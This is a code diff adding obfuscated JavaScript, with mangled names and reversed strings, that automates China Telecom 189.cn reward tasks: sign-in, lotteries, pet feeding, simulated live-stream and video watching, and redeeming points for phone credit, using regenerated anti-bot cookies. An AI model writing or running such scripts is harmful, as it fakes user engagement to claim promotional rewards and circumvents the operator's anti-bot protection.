+ } catch (_0x5473b9) {
+ console.log(_0x5473b9);
+ }
+ }
+ }
+ async ["continueSignRecords"](_0x56e506 = {}) {
+ {
+ let _0x10265a,
+ _0x3c00be = this.rsCkk;
+ _0x10265a = 5;
+ let _0x334d0c = this.getrsCk;
+ _0x334d0c = this.rsFun().getck();
+ _0x3c00be = await this.parseCookies(_0x334d0c, _0x3c00be);
+ try {
+ {
+ const _0x5df56a = {
+ "phone": this.name
+ };
+ let _0x43cd99 = {
+ "ckvalue": _0x3c00be,
+ "fn": "continueSignRecords",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/webSign/continueSignRecords",
+ "json": {
+ "para": this.encrypt_para(_0x5df56a)
+ }
+ },
+ {
+ "result": _0x359bd8,
+ "statusCode": _0xe30af6
+ } = await this.request(_0x43cd99),
+ _0x25608a = _0x1a907b.get(_0x359bd8, "edoCtluoser".split("").reverse().join(""), _0xe30af6);
+ if (_0x25608a == 0) {
+ if (_0x359bd8?.["tsiL51eunitnoc".split("").reverse().join("")]?.["htgnel".split("").reverse().join("")]) {
+ const _0x3bf060 = {
+ "type": "15"
+ };
+ await this.exchangePrize(_0x3bf060);
+ }
+ if (_0x359bd8?.["continue28List"]?.["htgnel".split("").reverse().join("")]) {
+ const _0x29bedf = {
+ "type": "28"
+ };
+ await this.exchangePrize(_0x29bedf);
+ }
+ } else {
+ {
+ let _0x534645 = _0x359bd8?.["msg"] || _0x359bd8?.["gsMtluoser".split("").reverse().join("")] || _0x359bd8?.["error"] || "";
+ this.log("查询连签抽奖状态错误[" + _0x25608a + "]: " + _0x534645);
+ }
+ }
+ }
+ } catch (_0x10aad9) {
+ console.log(_0x10aad9);
+ }
+ }
+ }
+ async ["doSign"](_0x4825b4 = {}) {
+ let _0x31122f = this.rsCkk;
+ var _0x2c67f2 = 8;
+ let _0x4217db = this.getrsCk;
+ _0x2c67f2 = 1;
+ _0x4217db = this.rsFun().getck();
+ _0x31122f = await this.parseCookies(_0x4217db, _0x31122f);
+ try {
+ let _0x218f39 = {
+ "phone": this.name,
+ "date": Date.now(),
+ "sysType": "20002"
+ },
+ _0x4662df = {
+ "ckvalue": _0x31122f,
+ "fn": "doSign",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/webSign/sign",
+ "json": {
+ "encode": this.encode_aes(JSON.stringify(_0x218f39))
+ }
+ },
+ {
+ "result": _0x55f042,
+ "statusCode": _0x4e5989
+ } = await this.request(_0x4662df),
+ _0x104d49 = _0x1a907b.get(_0x55f042, "edoCtluoser".split("").reverse().join(""), _0x4e5989);
+ if (_0x104d49 == 0) {
+ {
+ let _0xc95937 = _0x1a907b.get(_0x55f042?.["atad".split("").reverse().join("")], "code", -1);
+ if (_0xc95937 == 1) {
+ {
+ const _0x1d08e3 = {
+ "notify": true
+ };
+ this.log("签到成功,获得" + (_0x55f042?.["data"]?.["coin"] || 0) + "豆金".split("").reverse().join(""), _0x1d08e3);
+ await this.userStatusInfo();
+ }
+ } else {
+ {
+ const _0x14ef4a = {
+ "notify": true
+ };
+ this.log("[败失到签".split("").reverse().join("") + _0xc95937 + "]: " + _0x55f042.data.msg, _0x14ef4a);
+ }
+ }
+ }
+ } else {
+ let _0x541039 = _0x55f042?.["msg"] || _0x55f042?.["gsMtluoser".split("").reverse().join("")] || _0x55f042?.["error"] || "";
+ this.log("[误错到签".split("").reverse().join("") + _0x104d49 + "]: " + _0x541039);
+ }
+ } catch (_0x1d9780) {
+ console.log(_0x1d9780);
+ }
+ }
+ async ["exchangePrize"](_0x51d651 = {}) {
+ let _0x400dc7,
+ _0x10e174 = this.rsCkk;
+ _0x400dc7 = 11;
+ let _0x315800 = this.getrsCk;
+ _0x315800 = this.rsFun().getck();
+ _0x10e174 = await this.parseCookies(_0x315800, _0x10e174);
+ try {
+ let _0x5571bc = _0x1a907b.pop(_0x51d651, "epyt".split("").reverse().join(""), "7");
+ const _0x1f9f9e = {
+ "phone": this.name,
+ "type": _0x5571bc
+ };
+ let _0x77c0eb = {
+ "ckvalue": _0x10e174,
+ "fn": "exchangePrize",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/webSign/exchangePrize",
+ "json": {
+ "para": this.encrypt_para(_0x1f9f9e)
+ }
+ },
+ {
+ "result": _0xccdcfb,
+ "statusCode": _0x2c0e72
+ } = await this.request(_0x77c0eb),
+ _0x220066 = _0x1a907b.get(_0xccdcfb, "resoultCode", _0x2c0e72);
+ if (_0x220066 == 0) {
+ {
+ let _0x1a8342 = _0x1a907b.get(_0xccdcfb?.["liateDezirp".split("").reverse().join("")], "edoc".split("").reverse().join(""), -1);
+ if (_0x1a8342 == 0) {
+ {
+ const _0x30dfec = {
+ "notify": true
+ };
+ this.log("连签" + _0x5571bc + "天抽奖: " + _0xccdcfb?.["prizeDetail"]?.["biz"]?.["eltiTniw".split("").reverse().join("")], _0x30dfec);
+ }
+ } else {
+ let _0x32bcbc = _0xccdcfb?.["liateDezirp".split("").reverse().join("")]?.["rre".split("").reverse().join("")] || "";
+ const _0x3544f2 = {
+ "notify": true
+ };
+ this.log("连签" + _0x5571bc + "天抽奖失败[" + _0x1a8342 + "]: " + _0x32bcbc, _0x3544f2);
+ }
+ }
+ } else {
+ {
+ let _0x474fe0 = _0xccdcfb?.["gsm".split("").reverse().join("")] || _0xccdcfb?.["resoultMsg"] || _0xccdcfb?.["error"] || "";
+ this.log("连签" + _0x5571bc + "[误错奖抽天".split("").reverse().join("") + _0x220066 + " :]".split("").reverse().join("") + _0x474fe0);
+ }
+ }
+ } catch (_0x220e9d) {
+ console.log(_0x220e9d);
+ }
+ }
+ async ["homepage"](_0x12d2b5, _0x5240fc = {}) {
+ var _0x2f987c = 14;
+ let _0xe6f98c = this.rsCkk;
+ _0x2f987c = "lidkch".split("").reverse().join("");
+ var _0xb98d87 = 9;
+ let _0xbd2bb4 = this.getrsCk;
+ _0xb98d87 = "hiamhj";
+ _0xbd2bb4 = this.rsFun().getck();
+ _0xe6f98c = await this.parseCookies(_0xbd2bb4, _0xe6f98c);
+ try {
+ const _0x389651 = {
+ "phone": this.name,
+ "shopId": "20001",
+ "type": _0x12d2b5
+ };
+ let _0x3c9174 = {
+ "ckvalue": _0xe6f98c,
+ "fn": "homepage",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/webSign/homepage",
+ "json": {
+ "para": this.encrypt_para(_0x389651)
+ }
+ },
+ {
+ "result": _0x49f4fc,
+ "statusCode": _0x116999
+ } = await this.request(_0x3c9174),
+ _0x107703 = _0x1a907b.get(_0x49f4fc, "resoultCode", _0x116999);
+ if (_0x107703 == 0) {
+ let _0xe52288 = _0x1a907b.get(_0x49f4fc?.["atad".split("").reverse().join("")]?.["daeh".split("").reverse().join("")], "code", -1);
+ if (_0xe52288 == 0) for (let _0x16bb06 of _0x49f4fc?.["atad".split("").reverse().join("")]?.["zib".split("").reverse().join("")]?.["adItems"] || []) {
+ if (["0", "1"].includes(_0x16bb06?.["taskState"])) {
+ switch (_0x16bb06.contentOne) {
+ case "3":
+ {
+ {
+ _0x16bb06?.["dIdrawer".split("").reverse().join("")] && (await this.receiveReward(_0x16bb06));
+ break;
+ }
+ }
+ case "5":
+ {
+ await this.openMsg(_0x16bb06);
+ break;
+ }
+ case "6":
+ {
+ await this.sharingGetGold();
+ break;
+ }
+ case "10":
+ case "31".split("").reverse().join(""):
+ {
+ !this.xtoken && (await this.get_usercode());
+ this.xtoken && (await this.watchLiveInit());
+ break;
+ }
+ case "81".split("").reverse().join(""):
+ {
+ {
+ await this.polymerize(_0x16bb06);
+ break;
+ }
+ }
+ default:
+ {
+ break;
+ }
+ }
+ }
+ } else {
+ let _0x4a4e2d = _0x49f4fc?.["data"]?.["daeh".split("").reverse().join("")]?.["err"] || "";
+ this.log("获取任务列表失败[" + _0xe52288 + " :]".split("").reverse().join("") + _0x4a4e2d);
+ }
+ } else this.log("获取任务列表错误[" + _0x107703 + "]");
+ } catch (_0x1b64c4) {
+ console.log(_0x1b64c4);
+ }
+ }
+ async ["receiveReward"](_0x5b0aef, _0x4a06a5 = {}) {
+ {
+ let _0x3afcd1 = this.rsCkk,
+ _0x43acda = this.getrsCk;
+ _0x43acda = this.rsFun().getck();
+ _0x3afcd1 = await this.parseCookies(_0x43acda, _0x3afcd1);
+ try {
+ let _0x298887 = _0x5b0aef?.["title"]?.["split"](" ")?.[0];
+ const _0x10b838 = {
+ "phone": this.name,
+ "rewardId": _0x5b0aef?.["rewardId"] || ""
+ };
+ let _0x5c2dd2 = {
+ "ckvalue": _0x3afcd1,
+ "fn": "receiveReward",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/paradise/receiveReward",
+ "json": {
+ "para": this.encrypt_para(_0x10b838)
+ }
+ },
+ {
+ "result": _0x360d46,
+ "statusCode": _0x4f0e11
+ } = await this.request(_0x5c2dd2),
+ _0x19bcfa = _0x1a907b.get(_0x360d46, "resoultCode", _0x4f0e11);
+ if (_0x19bcfa == 0) this.log("[务任取领".split("").reverse().join("") + _0x298887 + "]奖励成功: " + _0x360d46?.["gsMtluoser".split("").reverse().join("")]);else {
+ let _0x1d74a9 = _0x360d46?.["msg"] || _0x360d46?.["resoultMsg"] || _0x360d46?.["rorre".split("").reverse().join("")] || "";
+ this.log("[务任取领".split("").reverse().join("") + _0x298887 + "[误错励奖]".split("").reverse().join("") + _0x19bcfa + " :]".split("").reverse().join("") + _0x1d74a9);
+ }
+ } catch (_0x87d7ca) {
+ console.log(_0x87d7ca);
+ }
+ }
+ }
+ async ["openMsg"](_0x3f3428, _0x21565e = {}) {
+ {
+ let _0x5ae01e = this.rsCkk;
+ var _0x5672c8 = 9;
+ let _0x17284d = this.getrsCk;
+ _0x5672c8 = "fennhp";
+ _0x17284d = this.rsFun().getck();
+ _0x5ae01e = await this.parseCookies(_0x17284d, _0x5ae01e);
+ try {
+ {
+ let _0x559622 = _0x3f3428?.["title"]?.["split"](" ")?.[0];
+ const _0x1febad = {
+ "phone": this.name
+ };
+ let _0x3f8902 = {
+ "ckvalue": _0x5ae01e,
+ "fn": "openMsg",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/paradise/openMsg",
+ "json": {
+ "para": this.encrypt_para(_0x1febad)
+ }
+ },
+ {
+ "result": _0x3fcc57,
+ "statusCode": _0x17815c
+ } = await this.request(_0x3f8902),
+ _0x5edf25 = _0x1a907b.get(_0x3fcc57, "edoCtluoser".split("").reverse().join(""), _0x17815c);
+ if (_0x5edf25 == 0) this.log("完成任务[" + _0x559622 + "]成功: " + _0x3fcc57?.["resoultMsg"]);else {
+ {
+ let _0x2d17da = _0x3fcc57?.["msg"] || _0x3fcc57?.["resoultMsg"] || _0x3fcc57?.["error"] || "";
+ this.log("完成任务[" + _0x559622 + "]错误[" + _0x5edf25 + " :]".split("").reverse().join("") + _0x2d17da);
+ }
+ }
+ }
+ } catch (_0x23c4a1) {
+ console.log(_0x23c4a1);
+ }
+ }
+ }
+ async ["polymerize"](_0x47b1b0, _0x2602a8 = {}) {
+ let _0x58a2f0 = this.rsCkk;
+ var _0x5858a5 = 16;
+ let _0x58ecd8 = this.getrsCk;
+ _0x5858a5 = "pnbjcb".split("").reverse().join("");
+ _0x58ecd8 = this.rsFun().getck();
+ _0x58a2f0 = await this.parseCookies(_0x58ecd8, _0x58a2f0);
+ try {
+ {
+ let _0x10342e = _0x47b1b0?.["eltit".split("").reverse().join("")]?.["split"](" ")?.[0];
+ const _0x5ea9e4 = {
+ "phone": this.name,
+ "jobId": _0x47b1b0.taskId
+ };
+ let _0x2120e2 = {
+ "ckvalue": _0x58a2f0,
+ "fn": "polymerize",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/webSign/polymerize",
+ "json": {
+ "para": this.encrypt_para(_0x5ea9e4)
+ }
+ },
+ {
+ "result": _0x1d8e9c,
+ "statusCode": _0x1b93af
+ } = await this.request(_0x2120e2),
+ _0x8e8602 = _0x1a907b.get(_0x1d8e9c, "resoultCode", _0x1b93af);
+ if (_0x8e8602 == 0) this.log("[务任成完".split("").reverse().join("") + _0x10342e + " :功成]".split("").reverse().join("") + _0x1d8e9c?.["resoultMsg"]);else {
+ {
+ let _0x5a9935 = _0x1d8e9c?.["msg"] || _0x1d8e9c?.["resoultMsg"] || _0x1d8e9c?.["error"] || "";
+ this.log("完成任务[" + _0x10342e + "[误错]".split("").reverse().join("") + _0x8e8602 + " :]".split("").reverse().join("") + _0x5a9935);
+ }
+ }
+ }
+ } catch (_0x627041) {
+ console.log(_0x627041);
+ }
+ }
+ async ["food"](_0x3ffcd3, _0x527ce7 = {}) {
+ var _0x53bf53 = 12;
+ let _0x5086d1 = this.rsCkk;
+ _0x53bf53 = 9;
+ let _0x49aa48 = this.getrsCk;
+ _0x49aa48 = this.rsFun().getck();
+ _0x5086d1 = await this.parseCookies(_0x49aa48, _0x5086d1);
+ try {
+ const _0x28fe9f = {
+ "phone": this.name
+ };
+ let _0x22f12d = {
+ "ckvalue": _0x5086d1,
+ "fn": "food",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/paradise/food",
+ "json": {
+ "para": this.encrypt_para(_0x28fe9f)
+ }
+ },
+ {
+ "result": _0x139702,
+ "statusCode": _0x270d92
+ } = await this.request(_0x22f12d),
+ _0x26bb72 = _0x1a907b.get(_0x139702, "edoCtluoser".split("").reverse().join(""), _0x270d92);
+ if (_0x26bb72 == 0) {
+ this.log("第" + _0x3ffcd3 + "次喂食: " + (_0x139702?.["gsMtluoser".split("").reverse().join("")] || "成功"));
+ if (_0x139702?.["pUlevel".split("").reverse().join("")]) {
+ {
+ let _0x5ee413 = _0x139702?.["currLevelRightList"][0]?.["level"];
+ const _0x498e3d = {
+ "notify": true
+ };
+ this.log("宠物已升级到[LV." + _0x5ee413 + " :得获 ,]".split("").reverse().join("") + _0x139702?.["currLevelRightList"][0]?.["emaNtshgir".split("").reverse().join("")], _0x498e3d);
+ }
+ }
+ } else {
+ {
+ let _0x69b941 = _0x139702?.["msg"] || _0x139702?.["gsMtluoser".split("").reverse().join("")] || _0x139702?.["error"] || "";
+ this.log("第" + _0x3ffcd3 + "[败失食喂次".split("").reverse().join("") + _0x26bb72 + " :]".split("").reverse().join("") + _0x69b941);
+ _0x69b941?.["includes"]("最大喂食次数") && (this.can_feed = false);
+ }
+ }
+ } catch (_0x55c71c) {
+ console.log(_0x55c71c);
+ }
+ }
+ async ["getParadiseInfo"](_0x5d0afa = {}) {
+ let _0x360373 = this.rsCkk;
+ var _0x506265 = 18;
+ let _0x65e9ea = this.getrsCk;
+ _0x506265 = 6;
+ _0x65e9ea = this.rsFun().getck();
+ _0x360373 = await this.parseCookies(_0x65e9ea, _0x360373);
+ try {
+ {
+ const _0x46eba0 = {
+ "phone": this.name
+ };
+ let _0x441cb8 = {
+ "ckvalue": _0x360373,
+ "fn": "getParadiseInfo",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/paradise/getParadiseInfo",
+ "json": {
+ "para": this.encrypt_para(_0x46eba0)
+ }
+ };
+ {
+ {
+ let {
+ "result": _0x5ca580,
+ "statusCode": _0x5122a3
+ } = await this.request(_0x441cb8),
+ _0x4d452c = _0x1a907b.get(_0x5ca580, "resoultCode", _0x5122a3);
+ if (_0x4d452c == 0) {
+ {
+ let _0x1aca35 = _0x5ca580?.["userInfo"]?.["levelInfoMap"];
+ this.level = _0x1aca35?.["level"];
+ for (let _0x1c9e42 = 1; _0x1c9e42 <= 10 && this.can_feed; _0x1c9e42++) {
+ await this.food(_0x1c9e42);
+ }
+ }
+ } else {
+ let _0x21d421 = _0x5ca580?.["gsm".split("").reverse().join("")] || _0x5ca580?.["resoultMsg"] || _0x5ca580?.["rorre".split("").reverse().join("")] || "";
+ this.log("查询宠物等级失败[" + _0x4d452c + "]: " + _0x21d421);
+ return;
+ }
+ }
+ }
+ {
+ {
+ _0x360373 = this.rsCkk;
+ _0x65e9ea = this.getrsCk;
+ _0x65e9ea = this.rsFun().getck();
+ _0x360373 = await this.parseCookies(_0x65e9ea, _0x360373);
+ let _0x3441c9 = {
+ "ckvalue": _0x360373,
+ "fn": "getParadiseInfo",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/paradise/getParadiseInfo",
+ "json": {
+ "para": this.encrypt_para(_0x46eba0)
+ }
+ },
+ {
+ "result": _0x43dc05,
+ "statusCode": _0x285e3a
+ } = await this.request(_0x3441c9),
+ _0x3fec10 = _0x1a907b.get(_0x43dc05, "edoCtluoser".split("").reverse().join(""), _0x285e3a);
+ if (_0x3fec10 == 0) {
+ {
+ let _0x36ee1f = _0x43dc05?.["userInfo"]?.["levelInfoMap"];
+ this.level = _0x36ee1f?.["level"];
+ const _0x3fbf8e = {
+ "notify": true
+ };
+ this.log("宠物等级[Lv." + _0x36ee1f?.["level"] + " :度进级升 ,]".split("").reverse().join("") + _0x36ee1f?.["growthValue"] + "/" + _0x36ee1f?.["fullGrowthCoinValue"], _0x3fbf8e);
+ }
+ } else {
+ {
+ let _0x42c291 = _0x43dc05?.["gsm".split("").reverse().join("")] || _0x43dc05?.["resoultMsg"] || _0x43dc05?.["error"] || "";
+ this.log("[败失级等物宠询查".split("").reverse().join("") + _0x3fec10 + "]: " + _0x42c291);
+ return;
+ }
+ }
+ }
+ }
+ }
+ } catch (_0x431d56) {
+ console.log(_0x431d56);
+ }
+ }
+ async ["getLevelRightsList"](_0x313581 = {}) {
+ {
+ let _0x32ef46 = this.rsCkk;
+ var _0x40290a = 5;
+ let _0x3747df = this.getrsCk;
+ _0x40290a = "pmlkhn";
+ _0x3747df = this.rsFun().getck();
+ _0x32ef46 = await this.parseCookies(_0x3747df, _0x32ef46);
+ try {
+ const _0x5562b1 = {
+ "phone": this.name
+ };
+ let _0x598a01 = {
+ "ckvalue": _0x32ef46,
+ "fn": "getLevelRightsList",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/paradise/getLevelRightsList",
+ "json": {
+ "para": this.encrypt_para(_0x5562b1)
+ }
+ },
+ {
+ "result": _0x446a1b,
+ "statusCode": _0x19041d
+ } = await this.request(_0x598a01);
+ if (_0x446a1b?.["currentLevel"]) {
+ let _0xaec461 = _0x446a1b?.["leveLtnerruc".split("").reverse().join("")] || 6,
+ _0x3fe3bd = false,
+ _0xfc6c13 = "V" + _0xaec461;
+ for (let _0x25f158 of _0x446a1b[_0xfc6c13] || []) {
+ {
+ let _0x59f64f = _0x25f158?.["emaNtshgir".split("").reverse().join("")] || "";
+ if (this.coin < _0x25f158.costCoin) {
+ continue;
+ }
+ (_0x59f64f?.["match"](new RegExp("\\d+元话费", "")) || _0x59f64f?.["hctam".split("").reverse().join("")](new RegExp("豆金+d\\享专".split("").reverse().join(""), ""))) && (await this.getConversionRights(_0x25f158, _0x3fe3bd)) && (_0x3fe3bd = true);
+ }
+ }
+ } else {
+ {
+ let _0x246b4f = _0x446a1b?.["msg"] || _0x446a1b?.["gsMtluoser".split("").reverse().join("")] || _0x446a1b?.["error"] || "";
+ this.log(" :败失益权换兑物宠询查".split("").reverse().join("") + _0x246b4f);
+ }
+ }
+ } catch (_0x179b0e) {
+ console.log(_0x179b0e);
+ }
+ }
+ }
+ async ["getConversionRights"](_0x1ce06c, _0x4fabbb, _0x45e01c = {}) {
+ let _0x32aac3 = this.rsCkk,
+ _0xa7161d,
+ _0x37bf7f = this.getrsCk;
+ _0xa7161d = 1;
+ _0x37bf7f = this.rsFun().getck();
+ _0x32aac3 = await this.parseCookies(_0x37bf7f, _0x32aac3);
+ let _0x1efb76 = false;
+ try {
+ {
+ let _0x247a79 = _0x1ce06c?.["righstName"] || "";
+ const _0x1d34e2 = {
+ "phone": this.name,
+ "rightsId": _0x1ce06c.id,
+ "receiveCount": _0x1ce06c.receiveType
+ };
+ let _0x59716c = {
+ "ckvalue": _0x32aac3,
+ "fn": "getConversionRights",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/paradise/getConversionRights",
+ "json": {
+ "para": this.encrypt_para(_0x1d34e2)
+ }
+ },
+ {
+ "result": _0x216422,
+ "statusCode": _0x41de38
+ } = await this.request(_0x59716c),
+ _0x3f7b73 = _0x1a907b.get(_0x216422, "edoc".split("").reverse().join(""), _0x1a907b.get(_0x216422, "edoCtluoser".split("").reverse().join(""), _0x41de38));
+ if (_0x3f7b73 == 200) {
+ if (!(_0x216422?.["rightsStatus"]?.["sedulcni".split("").reverse().join("")]("已兑换") || _0x216422?.["rightsStatus"]?.["sedulcni".split("").reverse().join("")]("取领已".split("").reverse().join("")))) {
+ _0x1efb76 = true;
+ if (_0x4fabbb) {
+ await _0x1a907b.wait(3000);
+ }
+ await this.conversionRights(_0x1ce06c);
+ }
+ } else {
+ let _0x1f31c7 = _0x216422?.["msg"] || _0x216422?.["resoultMsg"] || _0x216422?.["error"] || "";
+ this.log("[益权询查".split("").reverse().join("") + _0x247a79 + "[败失]".split("").reverse().join("") + _0x3f7b73 + " :]".split("").reverse().join("") + _0x1f31c7);
+ }
+ }
+ } catch (_0x1cd7c3) {
+ console.log(_0x1cd7c3);
+ } finally {
+ return _0x1efb76;
+ }
+ }
+ async ["conversionRights"](_0x4d2734, _0x3840bb = {}) {
+ {
+ let _0x394922 = this.rsCkk,
+ _0x1ee9c5,
+ _0x527353 = this.getrsCk;
+ _0x1ee9c5 = 6;
+ _0x527353 = this.rsFun().getck();
+ _0x394922 = await this.parseCookies(_0x527353, _0x394922);
+ try {
+ let _0x10bd41 = _0x4d2734?.["emaNtshgir".split("").reverse().join("")] || "";
+ const _0x83522b = {
+ "phone": this.name,
+ "rightsId": _0x4d2734.id
+ };
+ let _0x290aba = {
+ "ckvalue": _0x394922,
+ "fn": "conversionRights",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/paradise/conversionRights",
+ "json": {
+ "para": this.encrypt_para(_0x83522b)
+ }
+ },
+ {
+ "result": _0x502012,
+ "statusCode": _0x29f40d
+ } = await this.request(_0x290aba),
+ _0x7effe1 = _0x1a907b.get(_0x502012, "edoCtluoser".split("").reverse().join(""), _0x29f40d);
+ if (_0x7effe1 == 0) this.log("兑换权益[" + _0x10bd41 + "功成]".split("").reverse().join(""));else {
+ let _0x31092d = _0x502012?.["msg"] || _0x502012?.["resoultMsg"] || _0x502012?.["error"] || "";
+ this.log("[益权换兑".split("").reverse().join("") + _0x10bd41 + "]失败[" + _0x7effe1 + " :]".split("").reverse().join("") + _0x31092d);
+ }
+ } catch (_0x58a778) {
+ console.log(_0x58a778);
+ }
+ }
+ }
+ async ["get_usercode"](_0x314be8 = {}) {
+ {
+ let _0x37903f = this.rsCkk,
+ _0x1ab94b = this.getrsCk;
+ _0x1ab94b = this.rsFun().getck();
+ _0x37903f = await this.parseCookies(_0x1ab94b, _0x37903f);
+ try {
+ {
+ const _0x16e04a = {
+ "ckvalue": _0x37903f,
+ "fn": "get_usercode",
+ "method": "get",
+ "url": "https://xbk.189.cn/xbkapi/api/auth/jump",
+ "searchParams": {}
+ };
+ _0x16e04a.searchParams.userID = this.ticket;
+ _0x16e04a.searchParams.version = "9.3.3";
+ _0x16e04a.searchParams.type = "room";
+ _0x16e04a.searchParams.l = "renwu";
+ let {
+ "statusCode": _0x4b85f9,
+ "headers": _0x35a931
+ } = await this.request(_0x16e04a),
+ _0x247c50 = _0x35a931?.["location"]?.["match"](new RegExp("usercode=(\\w+)", ""));
+ _0x247c50 ? await this.codeToken(_0x247c50[1]) : this.log("获取code失败[" + _0x4b85f9 + "]");
+ }
+ } catch (_0x10af19) {
+ console.log(_0x10af19);
+ }
+ }
+ }
+ async ["codeToken"](_0xdedb3c, _0xcf349 = {}) {
+ {
+ let _0x3ae053 = this.rsCkk,
+ _0x1f567e = this.getrsCk;
+ _0x1f567e = this.rsFun().getck();
+ _0x3ae053 = await this.parseCookies(_0x1f567e, _0x3ae053);
+ try {
+ {
+ const _0x5b22db = {
+ "usercode": _0xdedb3c
+ },
+ _0x158c4b = {
+ "ckvalue": _0x3ae053,
+ "fn": "codeToken",
+ "method": "post",
+ "url": "https://xbk.189.cn/xbkapi/api/auth/userinfo/codeToken",
+ "json": _0x5b22db
+ };
+ let {
+ "result": _0x5db701,
+ "statusCode": _0x4633a6
+ } = await this.request(_0x158c4b),
+ _0x2ec0e9 = _0x1a907b.get(_0x5db701, "edoc".split("").reverse().join(""), -1);
+ if (_0x2ec0e9 == 0) this.xtoken = _0x5db701?.["data"]?.["nekot".split("").reverse().join("")], this.got = this.got.extend({
+ "headers": {
+ "Authorization": "Bearer " + _0x30d16a.encrypt(this.xtoken, "base64")
+ }
+ });else {
+ let _0x4ea71e = _0x5db701?.["msg"] || _0x5db701?.["resoultMsg"] || _0x5db701?.["error"] || _0x5db701?.["gsm".split("").reverse().join("")] || "";
+ this.log("获取token失败[" + _0x2ec0e9 + "]: " + _0x4ea71e);
+ }
+ }
+ } catch (_0x4fd3ae) {
+ console.log(_0x4fd3ae);
+ }
+ }
+ }
+ async ["watchLiveInit"](_0x4ff089 = {}) {
+ let _0xb4a547 = this.rsCkk,
+ _0x4940db,
+ _0x520588 = this.getrsCk;
+ _0x4940db = 12;
+ _0x520588 = this.rsFun().getck();
+ _0xb4a547 = await this.parseCookies(_0x520588, _0xb4a547);
+ try {
+ let _0x29c1b8 = Math.floor(Math.random() * 1000) + 1000;
+ const _0x53ed48 = {
+ "period": 1,
+ "liveId": _0x29c1b8
+ },
+ _0x415a4a = {
+ "ckvalue": _0xb4a547,
+ "fn": "watchLiveInit",
+ "method": "post",
+ "url": "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLiveInit",
+ "json": _0x53ed48
+ };
+ let {
+ "result": _0x233a2a,
+ "statusCode": _0x38a917
+ } = await this.request(_0x415a4a),
+ _0x114319 = _0x1a907b.get(_0x233a2a, "code", -1);
+ if (_0x114319 == 0) {
+ await _0x1a907b.wait(15000);
+ await this.watchLive(_0x29c1b8, _0x233a2a?.["data"]);
+ } else {
+ let _0x346c86 = _0x233a2a?.["gsm".split("").reverse().join("")] || _0x233a2a?.["gsMtluoser".split("").reverse().join("")] || _0x233a2a?.["rorre".split("").reverse().join("")] || _0x233a2a?.["gsm".split("").reverse().join("")] || "";
+ this.log("[播直看观始开".split("").reverse().join("") + _0x29c1b8 + "]失败[" + _0x114319 + "]: " + _0x346c86);
+ }
+ } catch (_0x25a8e8) {
+ console.log(_0x25a8e8);
+ }
+ }
+ async ["watchLive"](_0x37f1a7, _0x3101aa, _0x40985a = {}) {
+ var _0x3f5092 = 17;
+ let _0x454bd3 = this.rsCkk;
+ _0x3f5092 = 0;
+ let _0x47d645 = this.getrsCk;
+ _0x47d645 = this.rsFun().getck();
+ _0x454bd3 = await this.parseCookies(_0x47d645, _0x454bd3);
+ try {
+ {
+ const _0x3d2d8d = {
+ "period": 1,
+ "liveId": _0x37f1a7,
+ "key": _0x3101aa
+ },
+ _0x36f81f = {
+ "ckvalue": _0x454bd3,
+ "fn": "watchLive",
+ "method": "post",
+ "url": "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLive",
+ "json": _0x3d2d8d
+ };
+ let {
+ "result": _0x32f975,
+ "statusCode": _0x40e6de
+ } = await this.request(_0x36f81f),
+ _0x54187e = _0x1a907b.get(_0x32f975, "code", -1);
+ if (_0x54187e == 0) this.log("观看直播[" + _0x37f1a7 + "功成]".split("").reverse().join("")), await this.watchLiveInit();else {
+ let _0x5945ed = _0x32f975?.["msg"] || _0x32f975?.["gsMtluoser".split("").reverse().join("")] || _0x32f975?.["rorre".split("").reverse().join("")] || _0x32f975?.["gsm".split("").reverse().join("")] || "";
+ this.log("观看直播[" + _0x37f1a7 + "[败失]".split("").reverse().join("") + _0x54187e + "]: " + _0x5945ed);
+ }
+ }
+ } catch (_0x59b019) {
+ console.log(_0x59b019);
+ }
+ }
+ async ["watchVideo"](_0x2e6ab4, _0x1a0ab9 = {}) {
+ let _0x3016fd = this.rsCkk,
+ _0x11fdbc = this.getrsCk;
+ _0x11fdbc = this.rsFun().getck();
+ _0x3016fd = await this.parseCookies(_0x11fdbc, _0x3016fd);
+ try {
+ const _0x4533d5 = {
+ "articleId": _0x2e6ab4
+ },
+ _0x2c788c = {
+ "ckvalue": _0x3016fd,
+ "fn": "watchVideo",
+ "method": "post",
+ "url": "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchVideo",
+ "json": _0x4533d5
+ };
+ let {
+ "result": _0x19a463,
+ "statusCode": _0xc3f51e
+ } = await this.request(_0x2c788c),
+ _0x58b0b8 = _0x1a907b.get(_0x19a463, "edoc".split("").reverse().join(""), -1);
+ if (_0x58b0b8 == 0) this.log("观看短视频[" + _0x2e6ab4 + "]成功");else {
+ {
+ let _0x2d4f03 = _0x19a463?.["msg"] || _0x19a463?.["resoultMsg"] || _0x19a463?.["error"] || _0x19a463?.["msg"] || "";
+ this.log("观看短视频[" + _0x2e6ab4 + "]失败[" + _0x58b0b8 + "]: " + _0x2d4f03);
+ }
+ }
+ } catch (_0x4b6e2e) {
+ console.log(_0x4b6e2e);
+ }
+ }
+ async ["like"](_0x29115e, _0x2a697c = {}) {
+ let _0x318fce = this.rsCkk,
+ _0x205955 = this.getrsCk;
+ _0x205955 = this.rsFun().getck();
+ _0x318fce = await this.parseCookies(_0x205955, _0x318fce);
+ try {
+ {
+ const _0x8606f5 = {
+ "account": this.name,
+ "liveId": _0x29115e
+ },
+ _0x1dacfc = {
+ "ckvalue": _0x318fce,
+ "fn": "like",
+ "method": "post",
+ "url": "https://xbk.189.cn/xbkapi/lteration/room/like",
+ "json": _0x8606f5
+ };
+ let {
+ "result": _0x22c771,
+ "statusCode": _0x562c24
+ } = await this.request(_0x1dacfc),
